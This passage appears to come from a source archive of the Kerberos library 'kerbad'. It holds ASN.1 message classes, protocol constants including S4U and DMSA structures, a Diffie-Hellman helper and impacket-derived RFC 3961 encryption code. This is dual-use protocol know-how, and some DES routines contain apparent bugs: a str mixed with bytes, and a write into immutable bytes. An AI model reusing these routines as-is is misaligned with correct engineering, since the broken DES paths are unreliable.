25) class EncTGSRepPart(EncKDCRepPart): explicit = (APPLICATION, 26) class AP_REQ(core.Sequence): explicit = (APPLICATION, 14) _fields = [ ('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE ('ap-options', APOptions, {'tag_type': TAG, 'tag': 2}), ('ticket', Ticket , {'tag_type': TAG, 'tag': 3}), ('authenticator', EncryptedData , {'tag_type': TAG, 'tag': 4}), ] class AP_REP(core.Sequence): explicit = (APPLICATION, 15) _fields = [ ('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE ('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 2}), ] class EncAPRepPart(core.Sequence): explicit = (APPLICATION, 27) _fields = [ ('ctime', KerberosTime, {'tag_type': TAG, 'tag': 0}), ('cusec', krb5int32, {'tag_type': TAG, 'tag': 1}), ('subkey', EncryptionKey , {'tag_type': TAG, 'tag': 2, 'optional': True}), ('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}), ] class KRB_SAFE_BODY(core.Sequence): _fields = [ ('user-data', core.OctetString, {'tag_type': TAG, 'tag': 0}), ('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('usec', krb5int32 , {'tag_type': TAG, 'tag': 2, 'optional': True}), ('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}), ('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}), ] class KRB_SAFE(core.Sequence): explicit = (APPLICATION, 20) _fields = [ ('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE ('safe-body', KRB_SAFE_BODY , {'tag_type': TAG, 'tag': 2}), ('cksum', Checksum , {'tag_type': TAG, 'tag': 3}), ] class KRB_PRIV(core.Sequence): explicit = (APPLICATION, 21) _fields = [ ('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE ('enc-part', EncryptedData, {'tag_type': TAG, 'tag': 3}), ] class EncKrbPrivPart(core.Sequence): explicit = (APPLICATION, 28) _fields = [ ('user-data', core.OctetString, {'tag_type': TAG, 'tag': 0}), ('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('usec', krb5int32 , {'tag_type': TAG, 'tag': 2, 'optional': True}), ('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}), ('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}), ] class KRB_CRED(core.Sequence): explicit = (APPLICATION, 22) _fields = [ ('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}), ('msg-type', core.Integer, {'tag_type': TAG, 'tag': 1}), ('tickets', SequenceOfTicket, {'tag_type': TAG, 'tag': 2}), ('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 3}), ] # http://web.mit.edu/freebsd/head/crypto/heimdal/lib/asn1/krb5.asn1 class KrbCredInfo(core.Sequence): _fields = [ ('key', EncryptionKey, {'tag_type': TAG, 'tag': 0}), ('prealm', Realm, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('pname', PrincipalName, {'tag_type': TAG, 'tag': 2, 'optional': True}), ('flags', TicketFlags , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('authtime', KerberosTime , {'tag_type': TAG, 'tag': 4, 'optional': True}), ('starttime', KerberosTime , {'tag_type': TAG, 'tag': 5, 'optional': True}), ('endtime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}), ('renew-till', KerberosTime , {'tag_type': TAG, 'tag': 7, 'optional': True}), ('srealm', Realm , {'tag_type': TAG, 'tag': 8, 'optional': True}), ('sname', PrincipalName , {'tag_type': TAG, 'tag': 9, 'optional': True}), ('caddr', HostAddresses , {'tag_type': TAG, 'tag': 10, 'optional': True}), ] class SequenceOfKrbCredInfo(core.SequenceOf): _child_spec = KrbCredInfo class EncKrbCredPart(core.Sequence): explicit = (APPLICATION, 29) _fields = [ ('ticket-info', SequenceOfKrbCredInfo, {'tag_type': TAG, 'tag': 0}), ('nonce', krb5int32, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('timestamp', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}), ('usec', krb5int32 , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}), ('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}), ] class KRB_ERROR(core.Sequence): explicit = (APPLICATION, 30) _fields = [ ('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}), ('msg-type',krb5int32 , {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE ('ctime', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}), ('cusec', krb5int32 , {'tag_type': TAG, 'tag': 3, 'optional': True}), ('stime', KerberosTime , {'tag_type': TAG, 'tag': 4}), ('susec', krb5int32 , {'tag_type': TAG, 'tag': 5}), ('error-code', krb5int32 , {'tag_type': TAG, 'tag': 6}), ('crealm', Realm , {'tag_type': TAG, 'tag': 7, 'optional': True}), ('cname', PrincipalName , {'tag_type': TAG, 'tag': 8, 'optional': True}), ('realm', Realm , {'tag_type': TAG, 'tag': 9}), ('sname', PrincipalName , {'tag_type': TAG, 'tag': 10}), ('e-text', core.GeneralString , {'tag_type': TAG, 'tag': 11, 'optional': True}), ('e-data', core.OctetString , {'tag_type': TAG, 'tag': 12, 'optional': True}), ] class ChangePasswdDataMS(core.Sequence): _fields = [ ('newpasswd', core.OctetString, {'tag_type': TAG, 'tag': 0}), ('targname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional': True}), ('targrealm', Realm , {'tag_type': TAG, 'tag': 2, 'optional': True}), ] class EtypeList(core.SequenceOf): #-- the client's proposed enctype list in #-- decreasing preference order, favorite choice first _child_spec = ENCTYPE class KerberosResponse(core.Choice): _alternatives = [ ('AS_REP', AS_REP, {'implicit': (APPLICATION,11) } ), ('TGS_REP', TGS_REP, {'implicit': (APPLICATION,13) } ), ('KRB_ERROR', KRB_ERROR, {'implicit': (APPLICATION,30) } ), ] class KerberosMessage(core.Choice): _alternatives = [ ('AS_REQ', AS_REQ, {'implicit': (APPLICATION,10) }), ('AS_REP', AS_REP, {'implicit': (APPLICATION,11) }), ('TGS_REQ', TGS_REQ, {'implicit': (APPLICATION,12) }), ('TGS_REP', TGS_REP, {'implicit': (APPLICATION,13) }), ('KRB_ERROR', KRB_ERROR, {'implicit': (APPLICATION,30) }), ] class KRBCRED(core.Sequence): explicit = (APPLICATION, 22) _fields = [ ('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}), ('msg-type', core.Integer, {'tag_type': TAG, 'tag': 1}), ('tickets', SequenceOfTicket, {'tag_type': TAG, 'tag': 2}), ('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 3}), ] #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a #other name: PA-S4U2Self class PA_FOR_USER_ENC(core.Sequence): _fields = [ ('userName', PrincipalName, {'tag_type': TAG, 'tag': 0}), ('userRealm', Realm, {'tag_type': TAG, 'tag': 1}), ('cksum', Checksum, {'tag_type': TAG, 'tag': 2}), ('auth-package', KerberosString , {'tag_type': TAG, 'tag': 3}), ] class S4UUserIDOptions(core.BitString): _map = { 0 : 'reserved', #Reserved for future use. 1 : 'check-logon-hour', #This option causes the KDC to check logon hour restrictions for the user. 2 : 'signed-with-kun-27', #In a request, asks the KDC to sign the reply with key usage number 27. In a reply, indicates that it was signed with key usage number 27. 3 : 'nt-auth-policy-not-required', #This option causes the KDC to omit NTAuth store certificate chain checks and is designed for scenarios where the client performs its own chain checks. 4 : 'unconditional-delegation' #Unconditional delegation } #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6 class S4UUserID(core.Sequence): _fields = [ ('nonce', core.Integer, {'tag_type': TAG, 'tag': 0}), #-- the nonce in KDC-REQ-BODY ('cname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional' : True}), ('crealm', Realm, {'tag_type': TAG, 'tag': 2}), ('subject-certificate', core.OctetString, {'tag_type': TAG, 'tag': 3, 'optional' : True}), ('options', S4UUserIDOptions, {'tag_type': TAG, 'tag': 4, 'optional' : True}), ] #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6 class PA_S4U_X509_USER(core.Sequence): _fields = [ ('user-id', S4UUserID, {'tag_type': TAG, 'tag': 0}), ('checksum', Checksum, {'tag_type': TAG, 'tag': 1}), ] class AD_IF_RELEVANT(AuthorizationData): pass class GSSAPIOID(core.ObjectIdentifier): _map = { '1.2.840.113554.1.2.2': 'krb5', } _reverse_map = { 'krb5': '1.2.840.113554.1.2.2', } class GSSAPIToken(core.Asn1Value): class_ = 1 tag = 0 method = 1 class KERB_DMSA_KEY_PACKAGE(core.Sequence): _fields = [ ('current-keys', SequenceOfEncryptionKey, {'tag_type': TAG, 'tag': 0}), ('previous-keys', SequenceOfEncryptionKey, {'tag_type': TAG, 'tag': 1, 'optional': True}), #-- EncryptionType ('expiration-interval', KerberosTime, {'tag_type': TAG, 'tag': 2}), ('fetch-interval', KerberosTime, {'tag_type': TAG, 'tag': 4}), ] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1750066451.0 kerbad-0.5.10/kerbad/protocol/constants.py0000777000175000000000000001274615023762423017625 0ustar00silverrootimport enum # TODO: rfc8636 https://www.rfc-editor.org/rfc/rfc8636.html class NAME_TYPE(enum.Enum): UNKNOWN = 0 #(0), -- Name type not known PRINCIPAL = 1 #(1), -- Just the name of the principal as in SRV_INST = 2 #(2), -- Service and other unique instance (krbtgt) SRV_HST = 3 #(3), -- Service with host name as instance SRV_XHST = 4 # (4), -- Service with host as remaining components UID = 5 # (5), -- Unique ID X500_PRINCIPAL = 6 #(6), -- PKINIT SMTP_NAME = 7 #(7), -- Name in form of SMTP email name ENTERPRISE_PRINCIPAL = 10 #(10), -- Windows 2000 UPN WELLKNOWN = 11 #(11), -- Wellknown ENT_PRINCIPAL_AND_ID = -130 #(-130), -- Windows 2000 UPN and SID MS_PRINCIPAL = -128 #(-128), -- NT 4 style name MS_PRINCIPAL_AND_ID = -129 #(-129), -- NT style name and SID NTLM = -1200 #(-1200) -- NTLM name, realm is domain class MESSAGE_TYPE(enum.Enum): KRB_AS_REQ = 10 KRB_AS_REP = 11 KRB_TGS_REQ = 12 KRB_TGS_REP = 13 KRB_AP_REQ = 14 KRB_AP_REP = 15 KRB_SAFE = 20 KRB_PRIV = 21 KRB_CRED = 22 KRB_ERROR = 30 class EncryptionType(enum.Enum): NULL = 0# DES_CBC_CRC = 1# DES_CBC_MD4 = 2# DES_CBC_MD5 = 3# DES3_CBC_MD5 = 5# OLD_DES3_CBC_SHA1 = 7# SIGN_DSA_GENERATE = 8# ENCRYPT_RSA_PRIV = 9# ENCRYPT_RSA_PUB = 10# DES3_CBC_SHA1 = 16# -- with key derivation AES128_CTS_HMAC_SHA1_96 = 17# AES256_CTS_HMAC_SHA1_96 = 18# ARCFOUR_HMAC_MD5 = 23# ARCFOUR_HMAC_MD5_56 = 24# ENCTYPE_PK_CROSS = 48# ARCFOUR_MD4 = -128# ARCFOUR_HMAC_OLD = -133# ARCFOUR_HMAC_OLD_EXP = -135# DES_CBC_NONE = -0x1000# DES3_CBC_NONE = -0x1001# DES_CFB64_NONE = -0x1002# DES_PCBC_NONE = -0x1003# DIGEST_MD5_NONE = -0x1004# -- private use, lukeh@padl.com CRAM_MD5_NONE = -0x1005# -- private use, lukeh@padl.com class PaDataType(enum.Enum): NONE = 0# TGS_REQ = 1# AP_REQ = 1# ENC_TIMESTAMP = 2# PW_SALT = 3# ENC_UNIX_TIME = 5# SANDIA_SECUREID = 6# SESAME = 7# OSF_DCE = 8# CYBERSAFE_SECUREID = 9# AFS3_SALT = 10# ETYPE_INFO = 11# SAM_CHALLENGE = 12# __ = sam/otp) SAM_RESPONSE = 13# __ = sam/otp) PK_AS_REQ_19 = 14# __ = PKINIT_19) PK_AS_REP_19 = 15# __ = PKINIT_19) PK_AS_REQ_WIN = 15# __ = PKINIT _ old number) PK_AS_REQ = 16# __ = PKINIT_25) PK_AS_REP = 17# __ = PKINIT_25) PA_PK_OCSP_RESPONSE = 18# ETYPE_INFO2 = 19# USE_SPECIFIED_KVNO = 20# SVR_REFERRAL_INFO = 20# ___ old ms referral number SAM_REDIRECT = 21# __ = sam/otp) GET_FROM_TYPED_DATA = 22# SAM_ETYPE_INFO = 23# SERVER_REFERRAL = 25# ALT_PRINC = 24# __ = crawdad@fnal.gov) SAM_CHALLENGE2 = 30# __ = kenh@pobox.com) SAM_RESPONSE2 = 31# __ = kenh@pobox.com) PA_EXTRA_TGT = 41# __ Reserved extra TGT TD_KRB_PRINCIPAL = 102# __ PrincipalName PK_TD_TRUSTED_CERTIFIERS = 104# __ PKINIT PK_TD_CERTIFICATE_INDEX = 105# __ PKINIT TD_APP_DEFINED_ERROR = 106# __ application specific TD_REQ_NONCE = 107# __ INTEGER TD_REQ_SEQ = 108# __ INTEGER TD_DH_PARAMETERS = 109 #__ PKINIT TD_CMS_DIGEST_ALGORITHMS = 111 #__ rfc8636 TD_CERT_DIGEST_ALGORITHMS = 112 #__ rfc8636 PA_PAC_REQUEST = 128# __ jbrezak@exchange.microsoft.com FOR_USER = 129# __ MS_KILE FOR_X509_USER = 130# __ MS_KILE FOR_CHECK_DUPS = 131# __ MS_KILE AS_CHECKSUM = 132# __ MS_KILE PK_AS_09_BINDING = 132# __ client send this to __ tell KDC that is supports __ the asCheckSum in the __ PK_AS_REP CLIENT_CANONICALIZED = 133# __ referals FX_COOKIE = 133# __ krb_wg_preauth_framework AUTHENTICATION_SET = 134# __ krb_wg_preauth_framework AUTH_SET_SELECTED = 135# __ krb_wg_preauth_framework FX_FAST = 136# __ krb_wg_preauth_framework FX_ERROR = 137# __ krb_wg_preauth_framework ENCRYPTED_CHALLENGE = 138# __ krb_wg_preauth_framework OTP_CHALLENGE = 141# __ = gareth.richards@rsa.com) OTP_REQUEST = 142# __ = gareth.richards@rsa.com) OTP_CONFIRM = 143# __ = gareth.richards@rsa.com) OTP_PIN_CHANGE = 144# __ = gareth.richards@rsa.com) EPAK_AS_REQ = 145# EPAK_AS_REP = 146# PKINIT_KX = 147# __ krb_wg_anon PKU2U_NAME = 148# __ zhu_pku2u REQ_ENC_PA_REP = 149# __ SPAKE = 151# __https://datatracker.ietf.org/doc/draft-ietf-kitten-krb-spake-preauth/?include_text=1 KEY_LIST_REQ = 161 KEY_LIST_REP = 162 SUPPORTED_ETYPES = 165 #) __ MS_KILE SUPERSEDED_BY_USER = 170 DMSA_KEY_PACKAGE = 171 # Full list of key_usage numbers: https://tools.ietf.org/html/rfc4120#section-7.5.1 # class KEY_USAGE(enum.Enum): AS_REQ_PA_ENC_TS = 1 KDC_REP_TICKET = 2 AS_REP_ENCPART = 3 TGS_REQ_AD_SESSKEY = 4 TGS_REQ_AD_SUBKEY = 5 TGS_REQ_AUTH_CKSUM = 6 TGS_REQ_AUTH = 7 TGS_REP_ENCPART_SESSKEY = 8 TGS_REP_ENCPART_SUBKEY = 9 AP_REQ_AUTH_CKSUM = 10 AP_REQ_AUTH = 11 AP_REP_ENCPART = 12 KRB_PRIV_ENCPART = 13 KRB_CRED_ENCPART = 14 KRB_SAFE_CKSUM = 15 APP_DATA_ENCRYPT = 16 APP_DATA_CKSUM = 17 KRB_ERROR_CKSUM = 18 AD_KDCISSUED_CKSUM = 19 AD_MTE = 20 AD_ITE = 21 GSS_TOK_MIC = 22 GSS_TOK_WRAP_INTEG = 23 GSS_TOK_WRAP_PRIV = 24 PA_SAM_CHALLENGE_CKSUM = 25 #PA_SAM_CHALLENGE_TRACKID 26 #/** Note conflict with @ref KRB5_KEYUSAGE_PA_S4U_X509_USER_REQUEST */ #PA_SAM_RESPONSE 27 #/** Note conflict with @ref KRB5_KEYUSAGE_PA_S4U_X509_USER_REPLY */ PA_S4U_X509_USER_REQUEST = 26 #/* Defined in [MS-SFU] *//** Note conflict with @ref KRB5_KEYUSAGE_PA_SAM_CHALLENGE_TRACKID */ PA_S4U_X509_USER_REPLY = 27 #/** Note conflict with @ref KRB5_KEYUSAGE_PA_SAM_RESPONSE */ AD_SIGNEDPATH = -21 IAKERB_FINISHED = 42 PA_PKINIT_KX = 44 PA_OTP_REQUEST = 45 FAST_REQ_CHKSUM = 50 FAST_ENC = 51 FAST_REP = 52 FAST_FINISHED = 53 ENC_CHALLENGE_CLIENT = 54 ENC_CHALLENGE_KDC = 55 AS_REQ = 56 CAMMAC = 64 SPAKE = 65././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/protocol/dirtydh.py0000777000175000000000000000165414760576506017270 0ustar00silverrootimport os from asn1crypto import algos class DirtyDH: def __init__(self): self.p = None self.g = None self.shared_key = None self.shared_key_int = None self.private_key = os.urandom(32) self.private_key_int = int(self.private_key.hex(), 16) self.dh_nonce = os.urandom(32) @staticmethod def from_params(p, g): dd = DirtyDH() dd.p = p dd.g = g return dd @staticmethod def from_dict(dhp): dd = DirtyDH() dd.p = dhp['p'] dd.g = dhp['g'] return dd @staticmethod def from_asn1(asn1_bytes): dhp = algos.DHParameters.load(asn1_bytes).native return DirtyDH.from_dict(dhp) def get_public_key(self): #y = g^x mod p return pow(self.g, self.private_key_int, self.p) def exchange(self, bob_int): self.shared_key_int = pow(bob_int, self.private_key_int, self.p) x = hex(self.shared_key_int)[2:] if len(x) % 2 != 0: x = '0' + x self.shared_key = bytes.fromhex(x) return self.shared_key././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1748208866.0 kerbad-0.5.10/kerbad/protocol/encryption.py0000777000175000000000000005767315014706342020011 0ustar00silverroot# Copyright (C) 2013 by the Massachusetts Institute of Technology. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED # OF THE POSSIBILITY OF SUCH DAMAGE. # XXX current status: # * Done and tested # - AES encryption, checksum, string2key, prf # - cf2 (needed for FAST) # * Still to do: # - DES enctypes and cksumtypes # - RC4 exported enctype (if we need it for anything) # - Unkeyed checksums # - Special RC4, raw DES/DES3 operations for GSSAPI # * Difficult or low priority: # - Camellia not supported by PyCrypto # - Cipher state only needed for kcmd suite # - Nonstandard enctypes and cksumtypes like des-hmac-sha1 # Original code was taken from impacket, ported to python3 by Tamas Jos (@skelsec) from struct import pack, unpack from binascii import unhexlify import string import functools import os from typing import Dict from math import gcd from unicrypto import hmac as HMAC from unicrypto.hashlib import md5 as MD5 from unicrypto.hashlib import sha1 as SHA from unicrypto.hashlib import md4 from unicrypto.pbkdf2 import pbkdf2 as PBKDF2 from unicrypto.symmetric import MODE_CBC, MODE_ECB from unicrypto.symmetric import DES from unicrypto.symmetric import TDES as DES3 #, MODE_CBC, MODE_ECB from unicrypto.symmetric import RC4 as ARC4 from unicrypto.symmetric import DES from unicrypto.symmetric import AES def get_random_bytes(lenBytes): # We don't really need super strong randomness here to use PyCrypto.Random return os.urandom(lenBytes) class Enctype(object): DES_CRC = 1 DES_MD4 = 2 DES_MD5 = 3 DES3 = 16 AES128 = 17 AES256 = 18 RC4 = 23 RC4_MD4 = -128 @classmethod def get_name(cls, keytype): for name, value in cls.__dict__.items(): if value == keytype: return name return f"Unknown({keytype})" class Cksumtype(object): CRC32 = 1 MD4 = 2 MD4_DES = 3 MD5 = 7 MD5_DES = 8 SHA1 = 9 SHA1_DES3 = 12 SHA1_AES128 = 15 SHA1_AES256 = 16 HMAC_MD5 = -138 class InvalidChecksum(ValueError): pass def _zeropad(s, padsize): # Return s padded with 0 bytes to a multiple of padsize. padlen = (padsize - (len(s) % padsize)) % padsize return s + b'\x00'*padlen def _xorbytes(b1, b2): # xor two strings together and return the resulting string. assert len(b1) == len(b2) t1 = int.from_bytes(b1, byteorder = 'big', signed = False) t2 = int.from_bytes(b2, byteorder = 'big', signed = False) return (t1 ^ t2).to_bytes(len(b1), byteorder = 'big', signed = False) def _mac_equal(mac1, mac2): # Constant-time comparison function. (We can't use HMAC.verify # since we use truncated macs.) assert len(mac1) == len(mac2) res = 0 for x, y in zip(mac1, mac2): res |= x ^ y return res == 0 def _nfold(str, nbytes): # Convert str to a string of length nbytes using the RFC 3961 nfold # operation. # Rotate the bytes in str to the right by nbits bits. def rotate_right(str, nbits): num = int.from_bytes(str, byteorder ='big', signed = False) size = len(str)*8 nbits %= size body = num >> nbits remains = (num << (size - nbits)) - (body << size) return (body + remains).to_bytes(len(str), byteorder ='big', signed = False) # Add equal-length strings together with end-around carry. def add_ones_complement(str1, str2): n = len(str1) v = [] for i in range(0,len(str1), 1): t = str1[i] + str2[i] v.append(t) #v = [ord(a) + ord(b) for a, b in zip(str1, str2)] # Propagate carry bits to the left until there aren't any left. while any(x & ~0xff for x in v): v = [(v[i-n+1]>>8) + (v[i]&0xff) for i in range(n)] return b''.join(x.to_bytes(1, byteorder = 'big', signed = False) for x in v) # Concatenate copies of str to produce the least common multiple # of len(str) and nbytes, rotating each copy of str to the right # by 13 bits times its list position. Decompose the concatenation # into slices of length nbytes, and add them together as # big-endian ones' complement integers. slen = len(str) lcm = int(nbytes * slen / gcd(nbytes, slen)) bigstr = b''.join((rotate_right(str, 13 * i) for i in range(int(lcm / slen)))) slices = (bigstr[p:p+nbytes] for p in range(0, lcm, nbytes)) return functools.reduce(add_ones_complement, slices) def _is_weak_des_key(keybytes): return keybytes in (b'\x01\x01\x01\x01\x01\x01\x01\x01', b'\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE', b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E', b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1', b'\x01\xFE\x01\xFE\x01\xFE\x01\xFE', b'\xFE\x01\xFE\x01\xFE\x01\xFE\x01', b'\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1', b'\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E', b'\x01\xE0\x01\xE0\x01\xF1\x01\xF1', b'\xE0\x01\xE0\x01\xF1\x01\xF1\x01', b'\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE', b'\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E', b'\x01\x1F\x01\x1F\x01\x0E\x01\x0E', b'\x1F\x01\x1F\x01\x0E\x01\x0E\x01', b'\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE', b'\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1') class _EnctypeProfile(object): # Base class for enctype profiles. Usable enctype classes must define: # * enctype: enctype number # * keysize: protocol size of key in bytes # * seedsize: random_to_key input size in bytes # * random_to_key (if the keyspace is not dense) # * string_to_key # * encrypt # * decrypt # * prf @classmethod def random_to_key(cls, seed): if len(seed) != cls.seedsize: raise ValueError('Wrong seed length') return Key(cls.enctype, seed) class _SimplifiedEnctype(_EnctypeProfile): # Base class for enctypes using the RFC 3961 simplified profile. # Defines the encrypt, decrypt, and prf methods. Subclasses must # define: # * blocksize: Underlying cipher block size in bytes # * padsize: Underlying cipher padding multiple (1 or blocksize) # * macsize: Size of integrity MAC in bytes # * hashmod: PyCrypto hash module for underlying hash function # * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher @classmethod def derive(cls, key, constant): # RFC 3961 only says to n-fold the constant only if it is # shorter than the cipher block size. But all Unix # implementations n-fold constants if their length is larger # than the block size as well, and n-folding when the length # is equal to the block size is a no-op. plaintext = _nfold(constant, cls.blocksize) rndseed = b'' while len(rndseed) < cls.seedsize: ciphertext = cls.basic_encrypt(key, plaintext) rndseed += ciphertext plaintext = ciphertext return cls.random_to_key(rndseed[0:cls.seedsize]) @classmethod def encrypt(cls, key, keyusage, plaintext, confounder): ki = cls.derive(key, pack('>IB', keyusage, 0x55)) ke = cls.derive(key, pack('>IB', keyusage, 0xAA)) if confounder is None: confounder = get_random_bytes(cls.blocksize) basic_plaintext = confounder + _zeropad(plaintext, cls.padsize) hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest() return cls.basic_encrypt(ke, basic_plaintext) + hmac[:cls.macsize] @classmethod def decrypt(cls, key, keyusage, ciphertext): ki = cls.derive(key, pack('>IB', keyusage, 0x55)) ke = cls.derive(key, pack('>IB', keyusage, 0xAA)) if len(ciphertext) < cls.blocksize + cls.macsize: raise ValueError('ciphertext too short') basic_ctext, mac = ciphertext[:-cls.macsize], ciphertext[-cls.macsize:] if len(basic_ctext) % cls.padsize != 0: raise ValueError('ciphertext does not meet padding requirement') basic_plaintext = cls.basic_decrypt(ke, basic_ctext) hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest() expmac = hmac[:cls.macsize] if not _mac_equal(mac, expmac): raise InvalidChecksum('ciphertext integrity failure') # Discard the confounder. return basic_plaintext[cls.blocksize:] @classmethod def prf(cls, key, string): # Hash the input. RFC 3961 says to truncate to the padding # size, but implementations truncate to the block size. hashval = cls.hashmod(string).digest() truncated = hashval[:-(len(hashval) % cls.blocksize)] # Encrypt the hash with a derived key. kp = cls.derive(key, b'prf') return cls.basic_encrypt(kp, truncated) class _DESCBC(_SimplifiedEnctype): enctype = Enctype.DES_MD5 keysize = 8 seedsize = 8 blocksize = 8 padsize = 8 macsize = 16 hashmod = MD5 @classmethod def encrypt(cls, key, keyusage, plaintext, confounder): if confounder is None: confounder = get_random_bytes(cls.blocksize) basic_plaintext = confounder + b'\x00'*cls.macsize + _zeropad(plaintext, cls.padsize) checksum = cls.hashmod(basic_plaintext).digest() basic_plaintext = basic_plaintext[:len(confounder)] + checksum + basic_plaintext[len(confounder)+len(checksum):] return cls.basic_encrypt(key, basic_plaintext) @classmethod def decrypt(cls, key, keyusage, ciphertext): if len(ciphertext) < cls.blocksize + cls.macsize: raise ValueError('ciphertext too short') complex_plaintext = cls.basic_decrypt(key, ciphertext) cofounder = complex_plaintext[:cls.padsize] mac = complex_plaintext[cls.padsize:cls.padsize+cls.macsize] message = complex_plaintext[cls.padsize+cls.macsize:] expmac = cls.hashmod.new(cofounder+'\x00'*cls.macsize+message).digest() if not _mac_equal(mac, expmac): raise InvalidChecksum('ciphertext integrity failure') return message @classmethod def mit_des_string_to_key(cls,string,salt): def fixparity(deskey): temp = b'' for byte in deskey: t = (bin(byte)[2:]).rjust(8,'0') if t[:7].count('1') %2 == 0: temp+= int(t[:7]+'1',2).to_bytes(1, byteorder = 'big', signed = False) else: temp+= int(t[:7]+'0',2).to_bytes(1, byteorder = 'big', signed = False) return temp def addparity(l1): temp = list() for byte in l1: if (bin(byte).count('1') % 2) == 0: byte = (byte << 1)|0b00000001 else: byte = (byte << 1)&0b11111110 temp.append(byte) return temp def XOR(l1,l2): temp = list() for b1,b2 in zip(l1,l2): temp.append((b1^b2)&0b01111111) return temp odd = True s = string + salt tempstring = [0,0,0,0,0,0,0,0] s = s + b'\x00'*( 8- (len(s)%8)) #pad(s); /* with nulls to 8 byte boundary */ for block in [s[i:i+8] for i in range(0, len(s), 8)]: temp56 = list() #removeMSBits for byte in block: temp56.append(byte&0b01111111) #reverse if odd == False: bintemp = '' for byte in temp56: bintemp += (bin(byte)[2:]).rjust(7,'0') bintemp = bintemp[::-1] temp56 = list() for bits7 in [bintemp[i:i+7] for i in range(0, len(bintemp), 7)]: temp56.append(int(bits7,2)) odd = not odd tempstring = XOR(tempstring,temp56) tempkey = b''.join(byte.to_bytes(1, byteorder = 'big', signed = False) for byte in addparity(tempstring)) if _is_weak_des_key(tempkey): tempkey[7] = (tempkey[7] ^ 0xF0).to_bytes(1, byteorder = 'big', signed = False) cipher = DES(tempkey, MODE_CBC, tempkey) chekcsumkey = cipher.encrypt(s)[-8:] chekcsumkey = fixparity(chekcsumkey) if _is_weak_des_key(chekcsumkey): chekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0) return Key(cls.enctype, chekcsumkey) @classmethod def 